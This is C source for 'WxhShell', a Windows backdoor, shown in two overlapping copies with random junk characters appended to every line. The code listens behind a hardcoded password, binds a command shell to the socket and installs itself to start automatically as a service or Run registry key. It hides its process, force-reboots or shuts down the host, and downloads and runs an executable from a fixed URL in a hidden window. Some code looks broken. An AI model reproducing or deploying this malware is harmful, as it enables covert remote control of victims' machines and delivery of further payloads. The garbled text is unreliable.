    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W .7rHa  
    else { m7 =$*1k  
    closesocket(wsh); GP|=4T}Bf  
    ExitThread(0); R$awgSE  
    } OW:*qY c;:  
    break; Nkdv'e\  
    } =8kmFXo  
  // 获取shell ( ?V`|[+u  
  case 's': { FqKJids-  
    CmdShell(wsh); ;t`  ?|  
    closesocket(wsh); EP;/[O  
    ExitThread(0); WeI+|V$  
    break; |D3u"Y!:^  
  } Q M,!-~t  
  // 退出 &K)8  
  case 'x': { weitDr6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )Nv1_en<!  
    CloseIt(wsh); VSj!Gm0LB  
    break; ~xH&"1  
    } +Q*`kg'  
  // 离开 7p&jSOY  
  case 'q': { XX;4A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 30Yis_l2h  
    closesocket(wsh); .p`4>XA  
    WSACleanup(); g8),$:Uw  
    exit(1); )^h6'h`  
    break; cH]tZ$E`  
        } dn6B43w  
  } ntiS7g e1  
  } T X`X5j  
xS18t="  
  // 提示信息 l{3B }_,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t<%0eu|  
} 8OfQ :   
  } '[F:uA  
+)Te)^&v%  
  return; ,!ZuH?Z  
} 2 pS<;k`  
Ae)xFnuq3  
// shell模块句柄 4DXbeQs:  
int CmdShell(SOCKET sock) CU$kh z"  
{ aM^iDJ$>  
STARTUPINFO si; )oEVafNsT  
ZeroMemory(&si,sizeof(si)); gU9{~-9}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -! \3;/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \?:L>-&h8  
PROCESS_INFORMATION ProcessInfo; h\m35'v!  
char cmdline[]="cmd"; gjF5~ `  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  idmU.`  
  return 0; QbU5FPiN  
} B( [x8A]  
eh# 37*-  
// 自身启动模式 -H1=N  
int StartFromService(void) @WJ;T= L  
{ oL4W>b )  
typedef struct @|!4X(2  
{ |J`EM7qMK  
  DWORD ExitStatus; TyxIlI4"  
  DWORD PebBaseAddress; :-&|QVH  
  DWORD AffinityMask; ?-??>& z  
  DWORD BasePriority; .@dC]$2=  
  ULONG UniqueProcessId; 61\u{@o$  
  ULONG InheritedFromUniqueProcessId; wI#8|,]"z  
}   PROCESS_BASIC_INFORMATION; 7AG|'s['=  
,RP-)j"Wff  
PROCNTQSIP NtQueryInformationProcess; gfk)`>E  
tz1@s nes  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \lL[08G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !+x Q  
?}||?2=P  
  HANDLE             hProcess; Jx*cq;`Vee  
  PROCESS_BASIC_INFORMATION pbi; J5@08 bZm  
pA7-B>Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^df wWP  
  if(NULL == hInst ) return 0; Z['.RF'`  
J )1   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dzcF1 5H1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;!yK~OBxt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2:+8]b3i  
2 a<\4w'  
  if (!NtQueryInformationProcess) return 0; 3WV(Ok  
rK~-Wzwu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *0WVrM06?  
  if(!hProcess) return 0; Tw~R-SiS`s  
:\T Mm>%q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >T$0*7wF  
W? 7l-k=S  
  CloseHandle(hProcess); G1:}{a5i_  
s"(RdJ-,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *k$[/{S1-  
if(hProcess==NULL) return 0; ~cz}C("Z  
O5dS$[`j\p  
HMODULE hMod; <H[w0Z$  
char procName[255]; \u=d`}E  
unsigned long cbNeeded; `At.$3B  
2Gyq40  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $CcjuPsK  
%wD#[<BGn>  
  CloseHandle(hProcess);  yCX5 5:  
l\U Q2i  
if(strstr(procName,"services")) return 1; // 以服务启动 37bMe@W  
`RTxc  
  return 0; // 注册表启动 t Zxx#v`  
} Jcw^Z,  
6#w>6g4V~R  
// 主模块 G,8mFH  
int StartWxhshell(LPSTR lpCmdLine) RK# 6JfC3X  
{ !E70e$Th  
  SOCKET wsl; B`pBIUu  
BOOL val=TRUE; ;W|kc</R*  
  int port=0; UhB +c  
  struct sockaddr_in door; ?7\V)$00(&  
1=VyD<dNG6  
  if(wscfg.ws_autoins) Install(); xBHf~:!  
PZ[-a-p40  
port=atoi(lpCmdLine); 9#E *o~1  
Khq\@`RaT  
if(port<=0) port=wscfg.ws_port; ci,(]T +!  
fif;n[<  
  WSADATA data; DR"Y(-xl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x0 7 =  
$e^"Inhtqp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [o^$WL?c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o Rfb4+H&  
  door.sin_family = AF_INET; Z'o0::k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  31n"w;  
  door.sin_port = htons(port); vE]ge  
 D2e-b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #83   
closesocket(wsl); -:}vf?  
return 1; X[z;P!U  
} pj'gTQ),0  
<O jK $KV  
  if(listen(wsl,2) == INVALID_SOCKET) { 2OG/0cP  
closesocket(wsl); f/\!=sa:  
return 1; 8 Ku9;VEk  
} N'1I6e"  
  Wxhshell(wsl); ]dycesc'  
  WSACleanup(); \Y#  
_KRnx-  
return 0; * :"*'  
YznL+TD  
} _/[qBe  
Q`CuZkP(  
// 以NT服务方式启动 3G// _f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mR}8}K]L  
{ Rtf<UhUn  
DWORD   status = 0; u5CSx'h]  
  DWORD   specificError = 0xfffffff; I0-1Hr  
Kq7r+ A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L5hF-Ek! 3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NF$6yv9C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %Tp9G Gt  
  serviceStatus.dwWin32ExitCode     = 0; #rHMf%0  
  serviceStatus.dwServiceSpecificExitCode = 0; ^Ks1[xc*`  
  serviceStatus.dwCheckPoint       = 0; @`.4"*@M  
  serviceStatus.dwWaitHint       = 0; 0+&WIs  
DksYKv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UG vIHm  
  if (hServiceStatusHandle==0) return; R ENCk (  
o!xCM:+J  
status = GetLastError(); oKGH|iVEe  
  if (status!=NO_ERROR) =i~ = |K!  
{ e]<Syrk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .+7n@Sc  
    serviceStatus.dwCheckPoint       = 0; d% EdvM|)  
    serviceStatus.dwWaitHint       = 0; 4DIU7#GG  
    serviceStatus.dwWin32ExitCode     = status; 'm0WPS/6E  
    serviceStatus.dwServiceSpecificExitCode = specificError; t/i*.>7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R6~6b&-8  
    return; tbQY&TO1  
  } 5{ap  
1I;q@g0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XRaGV~  
  serviceStatus.dwCheckPoint       = 0; F'~r?D  
  serviceStatus.dwWaitHint       = 0; .]9`eGVWj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j)i c7 b  
} besc7!S  
d /jx8(0  
// 处理NT服务事件,比如:启动、停止 dcKpsX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u7!gF&tA  
{ U=v>gNba  
switch(fdwControl) >A )Sl'  
{ $GoS?\G  
case SERVICE_CONTROL_STOP: j ,rc9  
  serviceStatus.dwWin32ExitCode = 0; 8;M,l2pmR{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \ ZnA%hC  
  serviceStatus.dwCheckPoint   = 0; `=Mk6$%Cs  
  serviceStatus.dwWaitHint     = 0; mbAzn  
  { ~#g c{ C@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $#^3>u  
  } U" @5R[=F-  
  return; jS,Pu%fR  
case SERVICE_CONTROL_PAUSE: c[J 2;"SP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gd[muR ~  
  break; WjBml'^RY  
case SERVICE_CONTROL_CONTINUE: F,YP Il  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Iq|h1ie m+  
  break; HX.K{!5  
case SERVICE_CONTROL_INTERROGATE: j'*.=cwsp  
  break; 03?ADjO  
}; a,rXG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \m`IgP*  
} <mX5VGY9^  
UAjN  
// 标准应用程序主函数 dC<%D'L*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h5{//0 y  
{ s?<FS@k  
58?WO}  
// 获取操作系统版本 28JVW3&)  
OsIsNt=GetOsVer(); *b;)7lj0h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2?(/$F9X,  
$d1ow#ROgy  
  // 从命令行安装 tE>FL  
  if(strpbrk(lpCmdLine,"iI")) Install(); I N@ ~~  
UXZ3~/L5 O  
  // 下载执行文件 qX&+  
if(wscfg.ws_downexe) { 6cg,L:j#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9u~C?w  
  WinExec(wscfg.ws_filenam,SW_HIDE); L^u|= 9  
} zt2#K  
H28-;>'`  
if(!OsIsNt) { dLQp"vs$  
// 如果时win9x,隐藏进程并且设置为注册表启动 +:m)BLA4l  
HideProc(); @3eMvbI  
StartWxhshell(lpCmdLine); \;%D;3Au  
} =$}`B{(H  
else H!NGY]z*  
  if(StartFromService()) T7YJC,^m  
  // 以服务方式启动 :Gz$(!j1.'  
  StartServiceCtrlDispatcher(DispatchTable); }P=FMme{F(  
else -/3h&g  
  // 普通方式启动 lBn<\Y!^  
  StartWxhshell(lpCmdLine); kW+>"3  
=Q"thsR  
return 0; <S_0=U  
} [YQtX_;w  
VK9E{~0=  
bO6z;D#  
"-fyX!  
=========================================== ~#EXb?#uS  
gISA13  
SFzoRI=qG  
[:,|g;=Y}  
uUl ;}W  
c[1{>z{G  
" R||$Wi[$  
[L7S`Z  
#include <stdio.h> b`wT*&  
#include <string.h> 2!f'l'}  
#include <windows.h> bil>;&h  
#include <winsock2.h> 7ey|~u2  
#include <winsvc.h> (3 ,7  
#include <urlmon.h> 57 Vn-  
9U9ghWH8  
#pragma comment (lib, "Ws2_32.lib") h1)+QLI  
#pragma comment (lib, "urlmon.lib") aorL,l  
AB!({EIi  
#define MAX_USER   100 // 最大客户端连接数 T5@t_D>8  
#define BUF_SOCK   200 // sock buffer KJn 3&7  
#define KEY_BUFF   255 // 输入 buffer a Sm</@tO&  
YC{7;=P f  
#define REBOOT     0   // 重启 Vg (p_k45`  
#define SHUTDOWN   1   // 关机 | rpMwkR  
9( &$Gwi  
#define DEF_PORT   5000 // 监听端口 ,gP;XRe1  
q9(O=7O]-  
#define REG_LEN     16   // 注册表键长度 HDo=WqG  
#define SVC_LEN     80   // NT服务名长度 _#<l -R`  
*nM.`7g*[  
// 从dll定义API 2}{[ J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }k1[Fc|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B^1jd!m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _qit$#wK;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); { F0"U=  
6{Bvl[mhI  
// wxhshell配置信息 M~sP|Ha"+  
struct WSCFG { gi A(VUwI>  
  int ws_port;         // 监听端口 ;?o"{mbb  
  char ws_passstr[REG_LEN]; // 口令 oxCfSA  
  int ws_autoins;       // 安装标记, 1=yes 0=no a`||ePb|W~  
  char ws_regname[REG_LEN]; // 注册表键名 y9:o];/  
  char ws_svcname[REG_LEN]; // 服务名 fQU_A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a.<!>o<t:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @S012} xH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [o'}R`5)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +w?1<Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WsM/-P1Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bF@iO316H  
^w RD|  
}; P.|g4EdND  
KueI*\ p  
// default Wxhshell configuration iow8H' F  
struct WSCFG wscfg={DEF_PORT, =66,$~g{  
    "xuhuanlingzhe", ]o8~b-  
    1, I>3G"[t  
    "Wxhshell", RML'C:1  
    "Wxhshell", lce~6}  
            "WxhShell Service", * 8D(Lp1  
    "Wrsky Windows CmdShell Service", el0W0T  
    "Please Input Your Password: ", (7aE!r\Ab  
  1, Bq:: 5,v  
  "http://www.wrsky.com/wxhshell.exe", [h :FJ  
  "Wxhshell.exe" I'cM\^/h  
    }; ,wra f#UdP  
0xutG/-&N  
// 消息定义模块 LZ9IE>sj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )ULxB'Dm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %hzNkyD)Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *!(?=9[  
char *msg_ws_ext="\n\rExit."; p4zV<qZ>e  
char *msg_ws_end="\n\rQuit."; q->46{s|  
char *msg_ws_boot="\n\rReboot..."; |z%*}DPrpa  
char *msg_ws_poff="\n\rShutdown..."; w<4){ .dA  
char *msg_ws_down="\n\rSave to "; "Zicac@N  
I."4u~[  
char *msg_ws_err="\n\rErr!"; u`X}AKC  
char *msg_ws_ok="\n\rOK!"; U#_rcu  
t#J #DyY5  
char ExeFile[MAX_PATH]; +%RXV ~  
int nUser = 0; `!T6#6h  
HANDLE handles[MAX_USER]; 785Y*.p  
int OsIsNt; )6zwprH!  
HaamLu  
SERVICE_STATUS       serviceStatus; 65A>p:OO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QO~ TuC  
)@YrHS4  
// 函数声明 esEOV$s}  
int Install(void); seH#v  
int Uninstall(void); :!EOg4%i  
int DownloadFile(char *sURL, SOCKET wsh); 4a~9?}V:  
int Boot(int flag); l:kF0tj"  
void HideProc(void); 0ID 8L [  
int GetOsVer(void); ]pA}h. R#-  
int Wxhshell(SOCKET wsl); <<![3&p#  
void TalkWithClient(void *cs); Uz!cVs?-  
int CmdShell(SOCKET sock); 7,"1%^tU  
int StartFromService(void); mY1$N}8fm  
int StartWxhshell(LPSTR lpCmdLine); 2? 7a\s  
C44 Dz.rs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aI8K*D )@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `Uw^,r  
J_mpI.^Bsf  
// 数据结构和表定义 iyhB;s5Rgw  
SERVICE_TABLE_ENTRY DispatchTable[] = ffyKAZ{]po  
{ !$5U\"M  
{wscfg.ws_svcname, NTServiceMain}, Zt[1RMO  
{NULL, NULL} #/1,Cv yj  
}; gasl%&  
|5,q54d(K  
// 自我安装 ,G,T&W  
int Install(void) CLD*\)QD\  
{  /m*vY`  
  char svExeFile[MAX_PATH]; akQtre`5sd  
  HKEY key; UkL'h&J~  
  strcpy(svExeFile,ExeFile); 3C8'@-U  
Z,,Wo %)o  
// 如果是win9x系统,修改注册表设为自启动 r,b-c  
if(!OsIsNt) { G>{;@u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rf\>bI<.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 18!0H l>  
  RegCloseKey(key); B|~\m ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D`.CXFI+U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NLF{W|X  
  RegCloseKey(key); |^@TA=_  
  return 0; uoKC+8GA  
    } { lLUZM  
  } U=%S6uL\bx  
} @*l}2W  
else { [w~1e)D  
e:.Xs  
// 如果是NT以上系统,安装为系统服务 ^IM;D)X&:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I#f<YbzD  
if (schSCManager!=0) rC<m6  
{ QTK{JZf  
  SC_HANDLE schService = CreateService crC];LMl/  
  ( ZWVcCa 3  
  schSCManager, /gHRJ$2|Sx  
  wscfg.ws_svcname, Hj;j\R >2  
  wscfg.ws_svcdisp, w>rglm&  
  SERVICE_ALL_ACCESS, _&JlE$ua7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yZ+o7?(2p  
  SERVICE_AUTO_START, P*(lc:  
  SERVICE_ERROR_NORMAL, }`  
  svExeFile, `)H.TMI   
  NULL, =J?<M?ugf  
  NULL, 4- 6'  
  NULL, )r1Z}X(#d  
  NULL, 2&!G@5  
  NULL %-T]!3"n  
  ); Ar=pzQ<Z{  
  if (schService!=0) T cSj `-  
  { -D.6@@%Kc}  
  CloseServiceHandle(schService); JT<Ia  
  CloseServiceHandle(schSCManager); #!y|cP~;I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P67r+P,  
  strcat(svExeFile,wscfg.ws_svcname); E<&VK*{zcO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZT_EpT=1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?^IM2}(p  
  RegCloseKey(key); x%x:gkq  
  return 0; /5r[M=_ihr  
    } .f&,~$e4  
  } 0/(YH  
  CloseServiceHandle(schSCManager); o*I-~k  
} ]Wv\$JXI  
} **0Y*Ax@  
fX} dh9  
return 1; JYKA@sZHe  
} [>?B`1;@  
'n.eCd j  
// 自我卸载 8 s:sMU:Q  
int Uninstall(void) Gz~P 0Z^w}  
{ 0t*q5pAG".  
  HKEY key; %wvSD&oz  
0VsrAV0  
if(!OsIsNt) { l!q i:H<=1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "W:'cIw  
  RegDeleteValue(key,wscfg.ws_regname); $o1G xz  
  RegCloseKey(key); bEy j8=P;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8<?60sj  
  RegDeleteValue(key,wscfg.ws_regname); "PJ@Q9n__  
  RegCloseKey(key); @ZK|k  
  return 0; XRj<2U 5  
  } 2lHJ&fck<  
} ='OPU5(;O  
} a*S4rq@  
else { R[Kyq|UyVr  
aCFO ]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cy/;qd+!M  
if (schSCManager!=0) &Cdk%@Tj]B  
{ 1"~@UcJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @ou g^]a  
  if (schService!=0) k9WihejS  
  { LfrS:g  
  if(DeleteService(schService)!=0) { &HZ"<y{j  
  CloseServiceHandle(schService); 7PP76$  
  CloseServiceHandle(schSCManager); .wS' Xn&  
  return 0;  +<AX 0(  
  } `;4zIBJ  
  CloseServiceHandle(schService); jcOxtDTSW  
  } C8@SuJ  
  CloseServiceHandle(schSCManager); ;9 XM s)  
} Y R#_<o  
} S1;#5 8  
R^fVw Dl\  
return 1; )UZ 's>O  
} NBE)DL  
~n|*-rca  
// 从指定url下载文件 ],&WA?>G  
int DownloadFile(char *sURL, SOCKET wsh) hq$:62NYg  
{ vQ26U(7\>  
  HRESULT hr; qeSxE`E"  
char seps[]= "/"; I`E9]b(w  
char *token; +:wOzTUN  
char *file; :%)l* [  
char myURL[MAX_PATH]; f(7 /  
char myFILE[MAX_PATH]; !}Cd_tj6  
t#}/VnSQ  
strcpy(myURL,sURL); "DfvoQP  
  token=strtok(myURL,seps); `gD'q5.z;3  
  while(token!=NULL) ;&^S-+  
  { ix$?/GlL  
    file=token; r/+ <_3  
  token=strtok(NULL,seps); JTQ$p*2]  
  } KDwjck"5;  
)1Os+0az  
GetCurrentDirectory(MAX_PATH,myFILE); VL&E2^*E  
strcat(myFILE, "\\"); "M6:)h9jV  
strcat(myFILE, file); xhj A!\DS  
  send(wsh,myFILE,strlen(myFILE),0); EM;]dLh  
send(wsh,"...",3,0); u0#q) L8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z';p275  
  if(hr==S_OK) r^VH [c@c  
return 0; !ZD[ $lt+  
else n4qj"x Q  
return 1; BRFA%FZ,  
X9#Od9cNaC  
} 'X"@C;q  
^zO%O653  
// 系统电源模块 Pfe&wA't  
int Boot(int flag) VLA9&.*@  
{ D%Hz'G0|  
  HANDLE hToken; u==bLl=$  
  TOKEN_PRIVILEGES tkp; UP 75}h9  
@T|mHfQ8  
  if(OsIsNt) { G?8LYg!-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ePa1 @dI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =Qp~@k=2  
    tkp.PrivilegeCount = 1; sr sDnf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a(NN%'fDD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;Q:^|Fw!F  
if(flag==REBOOT) { h~urZXD<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }.$oZo9J  
  return 0; }rxFX  
} +kd88Fx  
else { e$45OL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 959&I0=g"  
  return 0; J}hi)k  
} G5Y 8]N  
  } r,A750P^  
  else { ="P 3TP  
if(flag==REBOOT) { ;mu9;ixZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cx&jnF#$  
  return 0; d /+sR@\  
} T""X~+{Z@  
else { #| `W ]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w6'o<=  
  return 0; z0t6}E<VIR  
} nG1 mx/w  
} 6,7Fl=<  
/RT3 r  
return 1; Xl.h&x0? 8  
} PnJr  
$C##S@  
// win9x进程隐藏模块 _~d C>`K  
void HideProc(void) Y [0 S  
{ BBm.;=8@ ^  
4~53%=+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ! %S9H2Lv  
  if ( hKernel != NULL ) p)(mF"\8=  
  { .[? E1we  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZsirX~W<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j/5>zS  
    FreeLibrary(hKernel); )Mx[;IwE  
  } 5][Rvu0  
U#gHc:$  
return; l[.*X  
} >&f .^p  
:CV!:sUm  
// 获取操作系统版本 T?I&n[Y|  
int GetOsVer(void) 9TjAEeU  
{ .Kv>*__-Q  
  OSVERSIONINFO winfo; :@I?JSi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mR,p?[P  
  GetVersionEx(&winfo); z1aApS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WIb\+!  
  return 1; Ro*$7j0!Hf  
  else +*WE<4"!6  
  return 0; HWxk>F0  
} kzZtKN9Az  
C0[Rf.*  
// 客户端句柄模块 ^)m]j`}IGb  
int Wxhshell(SOCKET wsl) l!ltgj  
{ y@ J\h8_  
  SOCKET wsh; 4xuL{z;\  
  struct sockaddr_in client; D9B?9Qt2[  
  DWORD myID; L}ud+Wfox  
2-ev7:  
  while(nUser<MAX_USER) c@1C|  
{ xG 7;Ps4L  
  int nSize=sizeof(client); YES!?^}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m0t 5oO  
  if(wsh==INVALID_SOCKET) return 1; WW2VW-Hk  
E1_FK1*V;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2mP| hp?  
if(handles[nUser]==0) /7De .O~H  
  closesocket(wsh); ?d-(M' v.  
else dGAthbWJ  
  nUser++; g><u (3  
  } JAj<*TB.%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aSi:(w  
L`cc2.F  
  return 0; 7=N=J<]pl  
} 1!/cd;{B  
x2ln$dSy7  
// 关闭 socket BP6;dF5 E  
void CloseIt(SOCKET wsh) c5>&~^~>Tx  
{ _tS<\zy@y  
closesocket(wsh); KOv ar0  
nUser--; &ME[H  
ExitThread(0); %?J\P@  
} 6C9KT;6  
=<s+cM  
// 客户端请求句柄 ~O?Gi 4^Yg  
void TalkWithClient(void *cs) 81V,yq]  
{ E,JDO d}  
)fP ,F(  
  SOCKET wsh=(SOCKET)cs; 8X][TJG$  
  char pwd[SVC_LEN]; R!lNm,i  
  char cmd[KEY_BUFF]; aD8cqVhM3&  
char chr[1]; 3M8P%  
int i,j; zNuiB LxDs  
cRs Lt/Wr  
  while (nUser < MAX_USER) { HuBG?4Qd  
X0^gj>GI|  
if(wscfg.ws_passstr) { T9jp*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wxB?}   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {g@Wd2-J}  
  //ZeroMemory(pwd,KEY_BUFF); $]:I1I  
      i=0; z[b,:G  
  while(i<SVC_LEN) { %+|k>?&z7  
.qi$X!0  
  // 设置超时 aCcBmc  
  fd_set FdRead; Za}*6N=?*  
  struct timeval TimeOut; .+]e9mV  
  FD_ZERO(&FdRead); kEf}yTy  
  FD_SET(wsh,&FdRead); l %=yT6  
  TimeOut.tv_sec=8; [bUM x  
  TimeOut.tv_usec=0; LN ]ks)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +2O('}t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m <IPi <  
l <<0:~+q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QbP W_)N  
  pwd=chr[0]; kX zm  
  if(chr[0]==0xd || chr[0]==0xa) {  g2L  
  pwd=0; AT}}RE@vq  
  break; p/ pVMR  
  } M(HU^?B{'  
  i++; yBE1mA:x7:  
    } MB" uJUk  
okoD26tK  
  // 如果是非法用户,关闭 socket ji? 0;2Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -Cd4yWkO  
} 8[Cp  
25BW/23}e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^_9 ^iL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %P0dY:L~  
NoO>CjeFb  
while(1) { l " pCxA  
vP^]Y.6  
  ZeroMemory(cmd,KEY_BUFF); P0~3<h?U8  
<Q/^[  
      // 自动支持客户端 telnet标准   5u T 9ssC  
  j=0; 5#g<L ~  
  while(j<KEY_BUFF) { fO[X<|9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `J[(Dx'y=t  
  cmd[j]=chr[0]; [&|Le;h  
  if(chr[0]==0xa || chr[0]==0xd) { 0){%4  
  cmd[j]=0; Y'i0=w6G  
  break; V2g,JFp&  
  } .3?'+KZ,  
  j++; il<D e]G  
    } \#1!qeF  
Dx$74~2e  
  // 下载文件 *=ftg&  
  if(strstr(cmd,"http://")) { `)\_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z@>z.d4  
  if(DownloadFile(cmd,wsh)) EJjTf:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;38W41d{  
  else 7Ro7/PT (  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MG>g?s'!  
  } & d\`=e  
  else { @ v/%^  
u><ax  
    switch(cmd[0]) { 33J}AK^FE  
  9-o{[  
  // 帮助 ogs9obbZ!  
  case '?': { Jc~^32  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yiQke   
